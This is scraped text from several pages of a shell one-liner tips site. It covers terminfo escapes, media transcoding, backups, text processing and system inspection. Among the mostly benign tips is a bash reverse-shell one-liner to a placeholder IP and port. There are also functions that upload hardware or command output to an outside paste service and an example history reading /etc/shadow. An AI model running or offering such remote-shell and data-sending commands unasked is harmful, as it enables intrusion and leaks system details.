"\33[H" hpa: "\33[6G" ht: "\t" hts: "\33H" ich: "\33[5@" il: "\33[5L" il1: "\33[L" ind: "\n" indn: "\33[5S" initc: "\33]4;5;rgb:00/00/00\33\\" invis: "\33[8m" is2: "\33[!p\33[?3;4l\33[4l\33>" kDC: "\33[3;2~" kEND: "\33[1;2F" kHOM: "\33[1;2H" kIC: "\33[2;2~" kLFT: "\33[1;2D" kNXT: "\33[6;2~" kPRV: "\33[5;2~" kRIT: "\33[1;2C" kb2: "\33OE" kbs: "\177" kcbt: "\33[Z" kcub1: "\33OD" kcud1: "\33OB" kcuf1: "\33OC" kcuu1: "\33OA" kdch1: "\33[3~" kend: "\33OF" kent: "\33OM" kf1: "\33OP" kf10: "\33[21~" kf11: "\33[23~" kf12: "\33[24~" kf13: "\33O2P" kf14: "\33O2Q" kf15: "\33O2R" kf16: "\33O2S" kf17: "\33[15;2~" kf18: "\33[17;2~" kf19: "\33[18;2~" kf2: "\33OQ" kf20: "\33[19;2~" kf21: "\33[20;2~" kf22: "\33[21;2~" kf23: "\33[23;2~" kf24: "\33[24;2~" kf25: "\33O5P" kf26: "\33O5Q" kf27: "\33O5R" kf28: "\33O5S" kf29: "\33[15;5~" kf3: "\33OR" kf30: "\33[17;5~" kf31: "\33[18;5~" kf32: "\33[19;5~" kf33: "\33[20;5~" kf34: "\33[21;5~" kf35: "\33[23;5~" kf36: "\33[24;5~" kf37: "\33O6P" kf38: "\33O6Q" kf39: "\33O6R" kf4: "\33OS" kf40: "\33O6S" kf41: "\33[15;6~" kf42: "\33[17;6~" kf43: "\33[18;6~" kf44: "\33[19;6~" kf45: "\33[20;6~" kf46: "\33[21;6~" kf47: "\33[23;6~" kf48: "\33[24;6~" kf49: "\33O3P" kf5: "\33[15~" kf50: "\33O3Q" kf51: "\33O3R" kf52: "\33O3S" kf53: "\33[15;3~" kf54: "\33[17;3~" kf55: "\33[18;3~" kf56: "\33[19;3~" kf57: "\33[20;3~" kf58: "\33[21;3~" kf59: "\33[23;3~" kf6: "\33[17~" kf60: "\33[24;3~" kf61: "\33O4P" kf62: "\33O4Q" kf63: "\33O4R" kf7: "\33[18~" kf8: "\33[19~" kf9: "\33[20~" khome: "\33OH" kich1: "\33[2~" kind: "\33[1;2B" kmous: "\33[M" knp: "\33[6~" kpp: "\33[5~" kri: "\33[1;2A" mc0: "\33[i" mc4: "\33[4i" mc5: "\33[5i" meml: "\33l" memu: "\33m" op: "\33[39;49m" rc: "\0338" rev: "\33[7m" ri: "\33M" rin: "\33[5T" rmacs: "\33(B" rmam: "\33[?7l" rmcup: "\33[?1049l" rmir: "\33[4l" rmkx: "\33[?1l\33>" rmso: "\33[27m" rmul: "\33[24m" rs1: "\33c" rs2: "\33[!p\33[?3;4l\33[4l\33>" sc: "\0337" setab: "\33[45m" setaf: "\33[35m" sgr0: "\33(B\33[m" smacs: "\33(0" smam: "\33[?7h" smcup: "\33[?1049h" smir: "\33[4h" smkx: "\33[?1h\33=" smso: "\33[7m" smul: "\33[4m" tbc: "\33[3g" u6: "\33[5;0R" u7: "\33[6n" u8: "\33[?1;2c" u9: "\33[c" vpa: "\33[6d" Functions: grep strace tput write Terminal Escape Code Zen - Strace and Tput ( 2>&2 strace -f -F -e write -s 1000 sh -c 'echo -e "initc\nis2\ncnorm\nrmso\nsgr0" | tput -S' 2>&1 ) | grep -o '"\\[^"]*"' --color=always "\33]4;%p1%d;rgb:%p2%{255}%*%{1000}%/%2.2X/%p3%{255}%*%{1000}%/%2.2X/%p4%{255}%*%{1000}%/%2.2X\33\\\33[!p\33[?3;4l\33[4l\33>\33[?12l\33[?25h\33[27m\33(B\33[m" Lets say you want to find out what you need to echo in order to get the text to blink.. echo -e "`tput blink`This will blink`tput sgr0` This wont" Now you can use this function instead of calling tput (tput is much smarter for portable code because it works differently depending on the current TERM, and tput -T anyterm works too.) to turn that echo into a much faster executing code. tput queries files, opens files, etc.. but echo is very strait and narrow. So now you can do this: echo -e "\33[5mThis will blink\33(B\33[m This wont" More at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs $ rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs Functions: head nl rpm sort Low on disk space? Check the largest installed RPMs for delete canditates. export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000 advanced bash history time Command >/dev/null $ time awk -f test.awk file >/dev/null real 0m0.390s user 0m0.370s sys 0m0.010s $ time perl test.pl file >/dev/null real 0m0.481s user 0m0.431s sys 0m0.022s get only time of execution of a command without his output sedi(){ case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac;} sed edit-in-place using -a option instead of -i option (no tmp file created) does the -i option open a tmp file? this method does not. L(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; } # When Term Width is 53 Columns Wide (tput cols, $COLUMNS) $ L '*'; L '`' 8; L x 15; L '#' 5; ***************************************************** ```````` xxxxxxxxxxxxxxx # SOLID BRIGHT GREEN LINE (bg and fg are bright green!) $ L "`tput setaf 2;tput rev` " # BLUE BACKGROUND, WHITE text $ L "`tput setaf 7;tput setab 4`-" ----------------------------------------------------- PRINT LINE the width of screen or specified using any char including Colors, Escapes and metachars One of the first functions programmers learn is how to print a line. This is my 100% bash builtin function to do it, which makes it as optimal as a function can be. The COLUMNS environment variable is also set by bash (including bash resetting its value when you resize your term) so its very efficient. I like pretty-output in my shells and have experimented with several ways to output a line the width of the screen using a minimal amount of code. This is like version 9,000 lol. This function is what I use, though when using colors or other terminal features I create separate functions that call this one, since this is the lowest level type of function. It might be better named printl(), but since I use it so much it's more optimal to have the name contain less chars (both for my programming and for the internal workings). If you do use terminal escapes this will reset to default. tput sgr0 For implementation ideas, check my fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); } $ fdiff zcat 0716_0020005.raw.gz 0716_0030005.raw.gz 20887c20887 < 01371320852941100000000IN > 01371320852941100000000LP fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the filter across the input files and diff the output. Fdiff will run the command given by the first argument against the input files given as the second and third arguments, and diff the results. It will use 'diff' as the default diff program, but this can be changed by setting $DIFFCMD, e.g. export DIFFCMD=vimdiff; fdiff zcat 0716_0020005.raw.gz 0716_0030005.raw.gz This function will work under bash, but requires the use of command substitution, which is not available under a strict ANSI shell. alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame $IMAGE; echo "Image saved as $IMAGE"' An alias to select a portion of your desktop and save it as an image. awk '{sub("String","")}1' Exclude a string with awk unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g' extract plain text from MS Word docx files Tested on MacOS X ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --" X11R6 bin doc i686-pc-cygwin i686-pc-mingw32 -- COMMIT -- include lib local man sbin share src ssl tmp Insert a line for each n lines specially usefull for sql scripts with insert / update statements, to add a commit command after n statements executed. curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service posts an xml file to a webservice with curl ‹ First < 130 131 132 133 134 > Last › find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \; $ find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \; ./p_common/common_main.pbt:1550: PBE:declareObject("PBETable", "Common_Download", "tbl_Media", "id"); Grep for regular expression globally, list files and positions. Grep for expression globally, list files and positions. "Hirn" is a nice german crib meaning "Brain". :-) Afterwards you can edit the line you want with "vi ./p_common/common_main.pbt +1550" listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;} $ listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;} $ listhw http://pastehtml.com/view/b9s26uvrz.html Paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI. In this Linux box i need to become root to get the complete hardware list, so either become root before or call it with sudo as i did, your choice. perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*` Recursive Search and Replace Finds the string in every file in an entire directory and all its subdirectories and replaces it with a new string. Especially useful when changing a machine's IP address or hostname - run it on /etc. vim $(find . ! -path \*.svn\* -type f -iname \*foo\*) Functions: find vim Load all files (including in subdirs), whose name matches a substring, into Vim This command searches the current directory, and all of its subdirs, for files that have the string "foo" in their filename (foo.c, two-foo.txt, index-FOO-bar.php, etc), and opens them in Vim. It ignores any hidden .svn directories. Change -iname to -name if you want to do case-sensitive matches. Files open in buffers by default, so to verify that the correct files were opened, type ":list". You can load all the files in tabs by doing ":tab ball" or use 'vim -p' on the command-line to load files straight to tabs. If you get permission denied errors, do: vim $(find . ! -path \*.svn\* -type -f iname \*foo\* 2>/dev/null) To narrow it down to a single file extension, such as .php files, use \*foo\*.php (or '*foo*.php'. Which ever you prefer) sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'` Functions: awk sudo purge all packages marked with 'rc' After you install/remove lots of packages, there are many packages marked with 'rc'. This script help you to purge these packages, it will save some spaces from your disk. sort -bdf fc -l | cut -d" " -f2- | sort -bdf dhclient | grep 6 fc -l fc -l | cut -d" " -f2- fc -l | sort -bdf head passwd ls ls /tmp man dhclient.conf more /etc/shadow ps -ef | sort -bdf ssh gislab63 sort ugly text Often, when sorting you want the sort to ignore extraneous characters. The b, d, and f tell sort to ignore leading blanks, use 'dictionary order' (ignore punctuation), and ignore (fold) case. Add a "u" if you only want one copy of duplicate lines. This is a great command to use within vim to sort lines of text, using !}sort -bdf alias setvol='aumix -v' Alias for quick command-line volume set (works also remotely via SSH) If you're addicted to command-line solutions of ordinary actions or if you just want to set your volume from bed via mobile phone SSH, you can set this alias and use it as setvol 50 for setting volume on 50% gain Works only with ALSA, tested on Ubuntu 8.10. Give me some info about your experience. TIP: Try aslo command "mute" to toggle mute/unmute sound. But I don't know if this works on all distros. du -sh */ ls -l `which gcc` lrwxrwxrwx. 1 root root 16 Nov 7 09:04 /usr/lib64/ccache/gcc -> ../../bin/ccache Get the dir listing of an executable without knowing its location git diff --cached git diff of files that have been staged ie 'git add'ed tar -tf file.tar | tar -T - -uf file.tar This will update the tarball, adding files that have changed since the last update. This assumes that the tarball is in the same directory as the files being archived. N.B. This command can't be used on compressed tarballs. N.B. This will add the updated files to the tarball, so that the tarball will have two versions of each file. This will make the tarball larger, but doesn't have any other significant effect. cat myfile.txt | tr -d '\n' Trim linebreaks od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;' Functions: md5sum od sed sudo lsof -p1234 | grep -E "(3r|4w).*REG" View any already in progress copy command in detail If you spot a dubious looking cp command running you can use this command to view what is being copied and to where. 3r.*REG will display the file/directory that is being read/copied. 4w.*REG will display the destination it is being written to. chmouel:~$ cd /tmp/ chmouel:/tmp$ cd - /var/www/vhosts/chmouel.com/private chmouel:~$ BourneShell: Go to previous directory cd - would return to the previous directory of your cd command. NB: previous dir is always stored in $OLDPWD variable. sudo dmidecode -t 5,16 Lists the supported memory types and how much your board can support. xev -id `xwininfo | grep 'Window id' | awk '{print $4}'` EnterNotify event, serial 13, synthetic NO, window 0x6400053, root 0x13c, subw 0x640005b, time 42431610, (367,0), root:(369,63), mode NotifyNormal, detail NotifyVirtual, same_screen YES, focus NO, state 16 MotionNotify event, serial 13, synthetic NO, window 0x6400053, state 0x10, is_hint 0, same_screen YES root 0x13c, subw 0x640005b, time 42431618, (366,0), root:(368,63), Track X Window events in chosen window After executing this, click on a window you want to track X Window events in. Explaination: "xev will track events in the window with the following -id, which we get by greping window information obtained by xwininfo" ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}' for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="${i%.flac}.wav"; done Transcode .flac to .wav with gstreamer Takes all .flac directories, feeds them into a simple transcode pipeline to spit out .wavs with the same name (but correct extension). sudo dmidecode -t processor cpu info :%v/./,/./-j Shrink more than one blank lines to one in VIM. cat filename | mail -s "Email subject" user@example.com Functions: cat mail This just reads in a local file and sends it via email. Works with text or binary. *Requires* local mail server. git log --graph --pretty=oneline --decorate tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}' Count number of hits per IP address in last 2000 lines of apache logs and print the IP and hits if hits > 20 echo $(shuf -n 6 -i 1-49 | sort -n) 5 10 14 19 23 34 Functions: echo sort ‹ First < 131 132 133 134 135 > Last › yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh Functions: printf sleep yes Console clock -- Revised This command will automatically clear the old clock time, and show the new clock time. It will also slightly format it. for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>€ \([0-9]*[,.][0-9]*\).*/\1/g"; done Functions: at bg echo grep sed wget Compare prices in euro of the HTC Desire on all the european websites of Expansys. You think Expansys in all these countries will sell the HTC Desire for the same price? Well, you'll be surprised. Most of them will be sold at 499.99 EUR but the cheapest can be found in Germany and the most expensive, in Belgium. find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//' Functions: awk du find sed This command will search all subfolders of the current directory and list the names of the folders which contain less than 2 MB of data. I use it to clean up my mp3 archive and to delete the found folders pipe the output to a textfile & run: while read -r line; do rm -Rv "$line"; done < textfile rename 's/ /-/g' * Replace spaces in a filename with hyphens As long as you have perl based rename. You can check: =$ rename --help Unknown option: help Usage: rename [-v] [-n] [-f] perlexpr [filenames] That's the good one. ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4 mix video and audio -map 0.0:0 map the video of video.mp4 to the video of mix.mp4 -map 1.0:1 map the audio of audio.mp3 to the audio of mix.mp4 make sure that video.mp4 and audio.mp3 have the same duration paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;} $ paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;} $ paste ifconfig http://pastehtml.com/view/b9xfkmc6n.txt Paste command output to www.pastehtml.com in txt format. paste(){ curl -s -S --data-urlencode "txt=$($@)" " ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3 extract audio from flv to mp3 buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi } $ echo "zbc" > file.txt # write 'zbc' in file.txt $ cat file.txt | sed "s/z/a/g" > file.txt # we want 'abc' in file.txt (I know that the "cat" is useless here but...) $ cat file.txt # we have nothing in file.txt $ cat file.txt | sed "s/z/a/g" | buffer file.txt # we want 'abc' in file.txt $ cat file.txt # we have 'abc' in file.txt abc Functions: cat echo mv rm tty Buffer in order to avoir mistakes with redirections that empty your files A common mistake in Bash is to write command-line where there's command a reading a file and whose result is redirected to that file. It can be easily avoided because of : 1) warnings "-bash: file.txt: cannot overwrite existing file" 2) options (often "-i") that let the command directly modify the file but I like to have that small function that does the trick by waiting for the first command to end before trying to write into the file. Lots of things could probably done in a better way, if you know one... find . -mtime +10 -delete This will find all files under the path "." which are older than 10 days, and delete them. If you wish to use the "rm" command instead, replace "-delete" with "-exec rm [options] {} \;" LASTMONTHNUM=`date -d "last month" +%m` flojo@gamo:~$ date -d "last month" +%m 08 Work out numerical last month Work out last months numerical value. dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1 ubahmapk@linux:~$ dd if=/dev/zero of=sparse_file skip=1024 bs=1024 count=1 1+0 records out 1024 bytes (1.0 kB) copied, 4.6444e-05 s, 22.0 MB/s ubahmapk@linux:~$ ls -lhs sparse 4.0K -rw-r--r-- 1 ubahmapk ubahmapk 1.0K 2010-10-23 19:25 sparse_file If you're trying to create a sparse file, you can use dd by 'skip'ing to the last block instance. ls -ls shows the actual size vs. the reported size for (( i = 0; i < 100; i++ )); do echo "$i"; done Perform a C-style loop in Bash. Print 0 through 99, each on a separate line. lame --mp3input -m m --resample 24 input.mp3 reduce mp3 bitrate (and size, of course) Useful if you have to put some mp3 files into mobile devices (ie mobile phones with no much memory) scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm Functions: scanimage using scanner device from command line you have to replace "mustek_usb" with the scanner found by `scanimage -l` rename 's/foo/bar/g' foobar xxxx@xxxx:~/tmp$ ls -l total 0 -rw-r--r-- 1 xxx xxx 0 2010-08-18 22:29 foobar xxxx@xxxx:~/tmp$ rename 's/foo/bar/g' foobar -rw-r--r-- 1 xxx xxx 0 2010-08-18 22:29 barbar replace strings in file names Uses vi style search / replace in bash to rename files. Works with regex's too (I use the following a script to fixup / shorten file names): # Remove complete parenthetical/bracket/brace phrases rename 's/\(.*\)//g' * rename 's/\[.*\]//g' * rename 's/\{.*\}//g' * ls /mnt/badfs & Check if filesystem hangs When a fs hangs and you've just one console, even # ls could be a dangerous command. Simply put a trailing "&" and play safe [ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com Functions: df perl disk space email alert put it in crontab to get an alert when / is over 89% utilization. echo $(cat file) git log --all --pretty=format:" " --name-only | sort -u List every file that has ever existed in a git repository What was the name of that module we wrote and deleted about 3 months ago? windowing-something? git log --all --pretty=format:" " --name-only | sort -u | grep -i window sed -i '/pattern/N; s/\n//' filename remove newlines from specific lines in a file using sed while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done # ##### # ##### ####### # ####### ##### ## # # # # # # # # # # # # # # # # # # # # # # # ###### ##### # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # ##### ##### # ##### # # ##### ##### Functions: banner sleep Turn your terminal into digital clock. l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}' 7:26 am 6:17 pm Get sunrise and sunset times This will get the sunrise and sunset times of a specific location. To be able to determine $l you need to first go to http://weather.yahoo.com/ and look up your location. The last numbers in the URL will be the $l Instead of forecastrss?w=$l you can also use forecastrss?p=$l and use the RSS link of the city you found. Also see http://developer.yahoo.com/weather/ for more information find . -type d -exec mkdir -p $DESTDIR/{} \; ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4 ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone This command will transcode a MythTV recording. The target device is a Google Nexus One mobile phone. My recordings are from a HDHomerun with Over The Air content. Plays back nicely on the N1. bash -i >& /dev/tcp/IP/PORT 0>&1 Connect-back shell using Bash built-ins ‹ First < 132 133 134 135 136 > Last › lsof -nPi | txt2html > ~/lsof.html Open html file with browser to view output. View internet connection activity in a browser The output of lsof is piped to txt2html which converts it to html. # Perl module HTML::TextToHTML needed find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {} ./contacts/ ./contacts/lista_contacts_google.csv ./contacts/lista_contacts_google.vcf ./contacts/lista_contacts_completa.csv ./contacts/lista_contacts_completa.vcf ./contacts/contatty_zyb_20081111.csv ./contacts/lista_contacts_zyb.vcf ./contacts/contatty_zyb_20081111.vcf ./contacts/contatty_zyb_hacked.csv ./contacts/contacts_master_to_import_google.csv create a backup for all directories from current dir Create backup (.tar.gz) for all first-level directory from current dir. for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done Functions: file ln c_rehash replacement When you don't have c_rehash handy. Really simple - if you have a .pem file that doesn't really contain a x509 cert (let's say, newreq.pem), it will create a link, simply called '.0', pointing to that file. perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TWEET");' Requires Net::Twitter. Just replace the double quoted strings with the appropriate info. sudo foremost -i /dev/sda -o /recovery Recover deleted Binary files The above command assumes the lost data is on /dev/sda and you previously issued the following command to mount _another_ disk or partition (/dev/sdb1) on /recovery sudo mount /dev/sdb1 /recovery If you don't do this, the data could be overwrited! foremost is a very powerful carving tool. By default foremost recovers all known file types. If you want to reduce the amount of files that are recovered you can specify the file type you are looking for. Read the man page to know the available file types. i.e to recover JPEG pictures append to foremost the switch -tjpg %1 &! Continue a current job in the background and detach it from current terminal grep -v "\ *#\|^$" /etc/path/to.config A short, *easy-er* to remember command for stripping whitespace and comments from a config file, (or any file for that matter). Remember regex as: slash, space, star. pound, slash, bar. pointy-hat, dollar. (or "caret, dollar" if you must) :-P oggenc --tracknum='track' track.cdda.wav -o 'track.ogg' Make ogg file from wav file awk '(length>t) {t=length} END {print t}' *.cpp Length of longest line of code Here's an awk version. ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done Functions: ls mv read sed Replace "space" char with "dot" char in current directory file names for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done /sys/devices/pci0000:00/0000:00:1d.0/usb1/power/level: auto /sys/devices/pci0000:00/0000:00:1d.1/usb2/power/level: auto /sys/devices/pci0000:00/0000:00:1d.2/usb3/power/level: auto /sys/devices/pci0000:00/0000:00:1d.2/usb3/3-1/power/level: on /sys/devices/pci0000:00/0000:00:1d.3/usb5/power/level: auto /sys/devices/pci0000:00/0000:00:1d.3/usb5/5-1/power/level: auto /sys/devices/pci0000:00/0000:00:1d.3/usb5/5-2/power/level: auto /sys/devices/pci0000:00/0000:00:1d.7/usb4/power/level: auto finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done; [1/4] 1 2 3 [2/4] 3 [3/4] 2 [4/4] 1 Add a progress counter to loop (see sample output) For this hack you need following function: finit() { count=$#; current=1; for i in "$@" ; do echo $current $count; echo $i; current=$((current + 1)); done; } and alias: alias fnext='read cur total && echo -n "[$cur/$total] " && read' Inspired by CMake progress counters. tail -f /var/log/logfile|perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print "$l\n";$l=0}}' Functions: perl tail time Using tail to follow and standard perl to count and print the lps when lines are written to the logfile. eval $(date +"day=%d; month=%m; year=%y") $ eval $(date +"day=%d; month=%m; year=%y") $ echo $day/$month/$year 29/07/11 Functions: date eval It's quite easy to capture the output of a command and assign it in a shell's variable: day=$(date +%d) month=$(date +%m) But, what if we want to perform the same task with just one program invocation? Here comes the power of eval! date(1) outputs a string like "day=29; month=07; year=11" (notice the semicolons I added on purpose at date's custom output) which is a legal shell line. This like is then parsed and executed by the shell once again with the help of eval. Just setting 3 variables! Inspired by LinuxJournal's column "Dave Taylor's Work the Shell". ffmpeg -i source.flv -vn acodec copy destination.mp3 Copy the sound content of a video to an mp3 file -vn removes tha video content, the copy option tells ffmpeg to use the same codec for generating the output find . -name "*.php" | xargs grep -il searchphrase adam@linux:/home$ find . -name "*.php" | xargs grep -il searchphrase ./adam/temp.php ./adam/temp1.php ./adam/temp2.php adam@linux:/home$ Find all files containing a word This command will find all files recursively containing the phrase entered, represented here by "searchphrase". This particular command searches in all php files, but you could change that to just be html files or just log files etc. dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz Functions: dump gzip Opens a snapshot of a live UFS2 filesystem, runs dump to generate a full filesystem backup which is run through gzip. The filesystem must support snapshots and have a .snap directory in the filesystem root. To restore the backup, one can do zcat /path/to/adXsYz.dump.gz | restore -rf - xmodmap -e "remove Lock = Caps_Lock" disable caps lock a quick one-line way to disable caps lock while running X. ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv mytarget.flv Create a video that is supported by youtube Takes an mpeg video and coverts it to a youtube compatible flv file. The -r 25 sets the frame rate for PAL, for NTSC use 29.97 clears the history grep -rHi searchphrase *.php user@host:~/$ grep -rHi info *.php noclick.php:for your info noclick.php:or information noclick.php:both match info shorter :p PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @' $ @ Functions: printf xargs Annoying PROMPT_COMMAND animation unset PROMPT_COMMAND to disable. perl -ne 'print if !$a{$_}++' uniq without pre-sorting Reads stdin, and outputs each line only once - without sorting ahead of time. This does use more memory than your system's sort utility. awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g' ubuntu:dummyuser:x:5050:5050::/home/dummyuser:/bin/sh ubuntu:lameuser:x:5050:5051::/home/lameuser:/bin/sh Functions: awk sed sort Print all /etc/passwd lines with duplicated uid Prints all the lines in /etc/passwd belonging to users with a duplicated uid. It also adds the hostname to the beginning of the line. It's been tested in AIX, Solaris and Linux. du -sh * | sort -rh | head This command simply outputs 10 files in human readable, that takes most space on your disk in current directory. ‹ First < 133 134 135 136 137 > Last › pfexec !! Run the last command as root - (Open)Solaris version with RBAC $ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt create SQL-statements from textfile with awk inputfile.txt is a space-separated textfile, 1st column contains the items (id) I want to put into my SQL statement. 1 = first column If inputfile.txt is a CSV-file separated by "," use FS= to define your own field-separator: awk 'BEGIN {FS=","; }{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt ps ax | grep -c [c]at count how many cat processes are running 'ps ax' provides the fill list of running processes. 'grep -c [c]at' will find all processes that match 'cat' without matching itself.... ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' Functions: egrep ping Get IP from hostname Get the IP of a hostname. xmms2 list | grep '^\s\+\[' | wc -l Get length of current playlist in xmms2 trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP Simple example of the trap command dscacheutil -flushcache Flush DNS cache in MacOS 10.5 dig +short google.com tar ztf tar-lacking-subdirectory.tar.gz | xargs rm Functions: tar xargs Clean up after a poorly-formed tar file These days, most software distributed in tar files will just contain a directory at the top level, but some tar files don't have this and can leave you with a mess of files in the current folder if you blindly execute tar zxvf something.tar.gz This command can help you clean up after such a mistake. However, note that this has the potential to do bad things if someone has been *really* nasty with filenames. mplayer -af scaletempo -speed 1.5 file.avi mplayer -af scaletempo Pitch-correct play speed with mplayer. You can also use [] and {} keys to change play speed on-the-fly. :g/^\s*$/,/\S/-j|s/.*// Compress blank lines in VIM This command will squeeze all consequent blank lines (including those with only space and tab charactes) to one. It will also empty the resulting line (remove the "|s/.*//" part if you don't need that). chr() { printf \\$(printf %o $1); } :Sex Open a file explorer on a split screen inside your vim session Open a CLI file explorer by splitting up your screen inside your vim session. Besides, you probably are never going to forget this one. mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt Mount iso to /mnt on Solaris Unmount umount /mnt lofiadm -d /dev/lofi/1 google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ picasa\ get\ /|awk ' {print $0,"."}' google picasa get "Album 1" . google picasa get "Album number 2" . google picasa get "You get thepoint" . google picasa get "Blabla" . Create commands to download all of your Picasaweb albums Install Googlecl (http://code.google.com/p/googlecl/) and authenticate first. mv file.png $( mktemp -u | cut -d'.' -f2 ).png Functions: cut mktemp mv Random file naming dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"' 0x8de54e0a Functions: dd hexdump Extract the MBR ID of a device Useful when you want to know the mbrid of a device - for the purpose of making it bootable. Certain hybridiso distros, for eg the OpenSUSE live ISO uses the mbrid to find the live media. Use this command to find out the mbrid of your USB drive and then edit the /grub/mbrid file to match it. rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path exclude file(s) from rsync rsyncs files to a server excluding listed files also a file can be used to exclude common exclude rules and/or to exclude a ton of files, like so: rsync --exclude-from '~/.scripts/exclude.txt' where exclude.txt has one rule per line: *.mp3 *.svn* yelp man:foo View a man page on a nice interface A great way of viewing some man page while using gnome. curl -s http://whatismyip.org/ watch -n1 'ifconfig eth0|grep bytes' Every 1.0s: ifconfig eth0|grep bytes Sat Mar 20 11:21:15 2010 Functions: grep watch watch your network load on specific network interface -n means refresh frequency you could change eth0 to any interface you want, like wlan0 wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' Functions: egrep wget find . -type f -print0 | xargs -0 grep -i <pattern> echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g' me=swap 2=1 Sed can refference parts of the pattern in the replacement: grep -c ^processor /proc/cpuinfo Returns the number of cores in a linux machine. Original article in http://www.howtogeek.com/howto/ubuntu/display-number-of-processors-on-linux/ ‹ First < 134 135 136 137 138 > Last › dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 / This will compress the root directory to an external hard drive and split it to parts once it reaches the 4 Gigs file system limit. You can simply restore it with: restore ivf /media/My\ Passport/Fedora10bckup/root_dump_fedora ssh 